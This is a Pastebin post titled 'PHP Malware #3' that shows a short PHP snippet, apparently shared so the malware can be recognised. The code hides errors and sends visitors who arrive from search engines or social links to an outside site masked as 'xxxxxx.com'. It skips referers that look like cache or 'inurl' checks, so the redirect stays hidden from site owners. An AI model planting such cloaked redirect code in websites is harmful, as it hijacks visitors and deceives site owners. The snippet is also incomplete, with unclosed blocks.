MertcanGokgoz

PHP Malware #3

Dec 20th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $refer=headers_sent();
  4. if (!$refer){
  5. $referer=$_SERVER['HTTP_REFERER'];
  6. $tars2=$_SERVER['HTTP_USER_AGENT'];
  7. if ($tars2) {
  8. if (!stristr($tars2,"MSIE 7.0") and !stristr($tars2,"MSIE 6.0") and !strstr($tars2,"Firefox/3.")){
  9. if (stristr($referer,"yahoo.") or stristr($referer,"bing.") or stristr($referer,"rambler.") or stristr($referer,"webalta.") or stristr($referer,"t.co/") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com") or (preg_match ("/https:\/\/www.google\.(.*?)\//",$referer) and strstr($tars2,"Chrome/"))) {
  10. if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
  11. header("Location: https://xxxxxx.com/");
  12. exit();
  13. ?>
Add Comment
Please, Sign In to add comment